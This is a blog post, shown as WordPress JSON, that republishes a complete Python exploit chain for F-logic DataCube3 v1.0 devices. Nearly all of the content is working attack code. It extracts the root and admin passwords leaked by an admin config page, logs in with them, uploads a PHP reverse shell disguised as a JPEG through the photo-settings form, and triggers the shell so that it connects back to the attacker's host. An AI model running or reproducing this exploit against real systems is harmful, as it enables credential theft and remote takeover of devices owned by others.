{"id":55292,"date":"2024-03-11T18:59:52","date_gmt":"2024-03-11T15:59:52","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177518\/datacube310-shell.txt"},"modified":"2024-03-12T11:00:37","modified_gmt":"2024-03-12T07:30:37","slug":"datacube3-1-0-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/datacube3-1-0-shell-upload\/","title":{"rendered":"DataCube3 1.0 Shell Upload"},"content":{"rendered":"<p style=\"text-align: left;\"># Exploit Title: DataCube3 v1.0 &#8211; Unrestricted file upload &#8216;RCE&#8217;<br \/>\n# Date: 7\/28\/2022<br \/>\n# Exploit Author: Samy Younsi &#8211; NS Labs (https:\/\/neroteam.com)<br \/>\n# Vendor Homepage: https:\/\/www.f-logic.jp<br \/>\n# Software Link: https:\/\/www.f-logic.jp\/pdf\/support\/manual_product\/manual_product_datacube3_ver1.0_sc.pdf<br \/>\n# Version: Ver1.0<br \/>\n# Tested on: DataCube3 version 1.0 (Ubuntu)<br \/>\n# CVE : CVE-2024-25830 + CVE-2024-25832<\/p>\n<p style=\"text-align: left;\"># Exploit chain reverse shell, information disclosure (root password leak) + unrestricted file upload<\/p>\n<p style=\"text-align: left;\">from __future__ import print_function, unicode_literals<br \/>\nfrom bs4 import BeautifulSoup<br \/>\nimport argparse<br \/>\nimport requests<br \/>\nimport json<br \/>\nimport urllib3<br \/>\nimport re<br \/>\nurllib3.disable_warnings()<\/p>\n<p style=\"text-align: left;\">def banner():<br \/>\ndataCube3Logo = &#8220;&#8221;&#8221;<br \/>\n\u2592\u2592\u2592\u2592\u2592\u2592\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2593\u2593\u2593\u2593\u2593\u2593\u2593<br \/>\n\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2588\u2588 DataCube3 Ver1.0 \u2588F-logic\u2593\u2593<br \/>\n\u2592\u2592\u2588\u2588\u2588\u2588\u2592\u2592\u2588\u2588 \u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588 \u2588\u2588\u2593\u2593\u2593\u2593\u2593\u2593\u2593\u2593<br \/>\n\u2592\u2592\u2588\u2588\u2588\u2588\u2592\u2592\u2588\u2588 \u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588 \u2588\u2588\u2593\u2593\u2593\u2593\u2593\u2593\u2593\u2593<br \/>\n\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2588\u2588 \u2588\u2588\u2588\u2588 \u2588\u2588\u2588\u2588 \u2588\u2588\u2593\u2593\u2593\u2593\u2593\u2593\u2593\u2593<br \/>\n\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2588\u2588 \u2588\u2588\u2593\u2593\u2588\u2588\u2588\u2588\u2593\u2593<br \/>\n\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2588\u2588 \u2588\u2588 \u2588\u2588 \u2588\u2588\u2593\u2593\u2588\u2588\u2588\u2588\u2593\u2593<br \/>\n\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2592\u2588\u2588 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588 \u2588\u2588\u2593\u2593\u2593\u2593\u2593\u2593\u2593\u2593<br \/>\n\u2592\u2592\u2592\u2592\u2592\u2592\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2593\u2593\u2593\u2593\u2593\u2593<\/p>\n<p style=\"text-align: left;\">\\033[1;92mSamy Younsi (Necrum Security Labs)\\033[1;m \\033[1;91mDataCube3 exploit chain reverse shell\\033[1;m<br \/>\nFOR EDUCATIONAL PURPOSE ONLY.<br \/>\n&#8220;&#8221;&#8221;<br \/>\nreturn print(&#8216;\\033[1;94m{}\\033[1;m&#8217;.format(dataCube3Logo))<\/p>\n<p style=\"text-align: left;\">def extractRootPwd(RHOST, RPORT, protocol):<br \/>\nurl = &#8216;{}:\/\/{}:{}\/admin\/config_all.php&#8217;.format(protocol, RHOST, RPORT)<br \/>\ntry:<br \/>\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=20)<br \/>\nif response.status_code != 302:<br \/>\nprint(&#8216;[!] \\033[1;91mError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\\033[1;m&#8217;)<br \/>\nexit()<br \/>\nsoup = BeautifulSoup(response.content.decode(&#8216;utf-8&#8217;), &#8216;html.parser&#8217;)<br \/>\nscriptTag = str(soup.find_all(&#8216;script&#8217;)[12]).replace(&#8216; &#8216;, &#8221;)<br \/>\nrawLeakedData = re.findall(&#8216;configData:.*,&#8217;, scriptTag)[0]\njsonLeakedData = json.loads(&#8216;[{}]&#8217;.format(rawLeakedData.split(&#8216;configData:[&#8216;)[1].split(&#8216;],&#8217;)[0]))<br \/>\nadminPassword = jsonLeakedData[12][&#8216;value&#8217;]\nrootPassword = jsonLeakedData[14][&#8216;value&#8217;]\nprint(&#8216;[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.\\n[INFO] The target must be vulnerable.&#8217;.format(adminPassword, rootPassword))<br \/>\nreturn rootPassword<br \/>\nexcept:<br \/>\nprint(&#8216;[ERROR] Can\\&#8217;t grab the DataCube3 version&#8230;&#8217;)<\/p>\n<p style=\"text-align: left;\">def generateAuthCookie(RHOST, RPORT, protocol, rootPassword):<br \/>\nprint(&#8216;[INFO] Generating DataCube3 auth cookie &#8230;&#8217;)<br \/>\nurl = &#8216;{}:\/\/{}:{}\/admin\/config_all.php&#8217;.format(protocol, RHOST, RPORT)<br \/>\ndata = {<br \/>\n&#8216;user_id&#8217;: &#8216;root&#8217;,<br \/>\n&#8216;user_pw&#8217;: rootPassword,<br \/>\n&#8216;login&#8217;: &#8216;%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3&#8217;<br \/>\n}<br \/>\ntry:<br \/>\nresponse = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)<br \/>\nif response.status_code != 302:<br \/>\nprint(&#8216;[!] \\033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\\033[1;m&#8217;)<br \/>\nexit()<br \/>\nauthCookie = response.cookies.get_dict()<br \/>\nprint(&#8216;[INFO] Authentication successful! Auth Cookie: {}&#8217;.format(authCookie))<br \/>\nreturn authCookie<br \/>\nexcept:<br \/>\nprint(&#8216;[ERROR] Can\\&#8217;t grab the auth cookie, is the root password correct?&#8217;)<\/p>\n<p style=\"text-align: left;\">def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):<br \/>\nprint(&#8216;[INFO] Extracting Accesstime &#8230;&#8217;)<br \/>\nurl = &#8216;{}:\/\/{}:{}\/admin\/setting_photo.php&#8217;.format(protocol, RHOST, RPORT)<br \/>\ntry:<br \/>\nresponse = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)<br \/>\nif response.status_code != 302:<br \/>\nprint(&#8216;[!] \\033[1;91mError: An error occur while trying to get the accesstime value.\\033[1;m&#8217;)<br \/>\nexit()<br \/>\nsoup = BeautifulSoup(response.content.decode(&#8216;utf-8&#8217;), &#8216;html.parser&#8217;)<br \/>\naccessTime = soup.find(&#8216;input&#8217;, {&#8216;name&#8217;: &#8216;accesstime&#8217;}).get(&#8216;value&#8217;)<br \/>\nprint(&#8216;[INFO] AccessTime value: {}&#8217;.format(accessTime))<br \/>\nreturn accessTime<br \/>\nexcept:<br \/>\nprint(&#8216;[ERROR] Can\\&#8217;t grab the accesstime value, is the root password correct?&#8217;)<\/p>\n<p style=\"text-align: left;\">def injectReverseShell(RHOST, RPORT, LHOST, LPORT, protocol, authCookie, accessTime):<br \/>\nprint(&#8216;[INFO] Injecting PHP reverse shell script &#8230;&#8217;)<br \/>\nfilename=&#8217;rvs.php&#8217;<br \/>\npayload = &#8216;&lt;?php $sock=fsockopen(&#8220;{}&#8221;,{});$proc=proc_open(&#8220;sh&#8221;, array(0=&gt;$sock, 1=&gt;$sock, 2=&gt;$sock),$pipes);?&gt;&#8217;.format(LHOST, LPORT)<\/p>\n<p style=\"text-align: left;\">data = &#8216;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;113389720123090127612523184396\\r\\nContent-Disposition: form-data; name=&#8221;add&#8221;\\r\\n\\r\\n\u00e5\ufffd\ufffd\u00e7\ufffd\ufffd\u00e8\u00bf\u00bd\u00e5\ufffd\\xA0\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;113389720123090127612523184396\\r\\nContent-Disposition: form-data; name=&#8221;addPhoto&#8221;; filename=&#8221;{}&#8221;\\r\\nContent-Type: image\/jpeg\\r\\n\\r\\n{}\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;113389720123090127612523184396\\r\\nContent-Disposition: form-data; name=&#8221;accesstime&#8221;\\r\\n\\r\\n{}\\r\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;113389720123090127612523184396&#8211;\\r\\n&#8217;.format(filename, payload, accessTime)<\/p>\n<p style=\"text-align: left;\">headers = {<br \/>\n&#8216;Content-Type&#8217;: &#8216;multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;113389720123090127612523184396&#8217;<br \/>\n}<br \/>\nurl = &#8216;{}:\/\/{}:{}\/admin\/setting_photo.php&#8217;.format(protocol, RHOST, RPORT)<br \/>\ntry:<br \/>\nresponse = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)<br \/>\nif response.status_code != 302:<br \/>\nprint(&#8216;[!] \\033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\\033[1;m&#8217;)<br \/>\nexit()<br \/>\nshellURL = &#8216;{}:\/\/{}:{}\/images\/slideshow\/{}&#8217;.format(protocol, RHOST, RPORT, filename)<br \/>\nprint(&#8216;[INFO] PHP reverse shell script successfully uploaded!\\n[INFO] SHELL URL: {}&#8217;.format(shellURL))<br \/>\nreturn shellURL<br \/>\nexcept:<br \/>\nprint(&#8216;[ERROR] Can\\&#8217;t upload the PHP reverse shell script, is the root password correct?&#8217;)<\/p>\n<p style=\"text-align: left;\">def execReverseShell(shellURL):<br \/>\nprint(&#8216;[INFO] Executing reverse shell&#8230;&#8217;)<br \/>\ntry:<br \/>\nresponse = requests.get(shellURL, allow_redirects=False, verify=False)<br \/>\nprint(&#8216;[INFO] Reverse shell successfully executed.&#8217;)<br \/>\nreturn<br \/>\nexcept Exception as e:<br \/>\nprint(&#8216;[ERROR] Reverse shell failed. Make sure the DataCube3 device can reach the host {}:{}&#8217;)<br \/>\nreturn False<\/p>\n<p style=\"text-align: left;\">def main():<br \/>\nbanner()<br \/>\nargs = parser.parse_args()<br \/>\nprotocol = &#8216;https&#8217; if args.RPORT == 443 else &#8216;http&#8217;<br \/>\nrootPassword = extractRootPwd(args.RHOST, args.RPORT, protocol)<br \/>\nauthCookie = generateAuthCookie(args.RHOST, args.RPORT, protocol, rootPassword)<br \/>\naccessTime = extractAccesstime(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie)<br \/>\nshellURL = injectReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie, accessTime)<br \/>\nexecReverseShell(shellURL)<\/p>\n<p style=\"text-align: left;\">if __name__ == &#8216;__main__&#8217;:<br \/>\nparser = argparse.ArgumentParser(description=&#8217;Script PoC that exploit an unauthenticated remote command injection on f-logic DataCube3 devices.&#8217;, add_help=False)<br \/>\nparser.add_argument(&#8216;&#8211;RHOST&#8217;, help=&#8217;Refers to the IP of the target machine. (f-logic DataCube3 device)&#8217;, type=str, required=True)<br \/>\nparser.add_argument(&#8216;&#8211;RPORT&#8217;, help=&#8217;Refers to the open port of the target machine. (443 by default)&#8217;, type=int, required=True)<br \/>\nparser.add_argument(&#8216;&#8211;LHOST&#8217;, help=&#8217;Refers to the IP of your machine.&#8217;, type=str, required=True)<br \/>\nparser.add_argument(&#8216;&#8211;LPORT&#8217;, help=&#8217;Refers to the open port of your machine.&#8217;, type=int, required=True)<br \/>\nmain()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: DataCube3 v1.0 &#8211; Unrestricted file upload &#8216;RCE&#8217; # Date: 7\/28\/2022 # Exploit Author: Samy Younsi &#8211; NS Labs (https:\/\/neroteam.com) # Vendor Homepage: https:\/\/www.f-logic.jp # Software Link: https:\/\/www.f-logic.jp\/pdf\/support\/manual_product\/manual_product_datacube3_ver1.0_sc.pdf # Version: Ver1.0 # Tested on: DataCube3 version 1.0 (Ubuntu) # CVE : CVE-2024-25830 + CVE-2024-25832 # Exploit chain reverse shell, information disclosure (root password &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55292","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55292","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55292"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55292\/revisions"}],"predecessor-version":[{"id":55301,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55292\/revisions\/55301"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}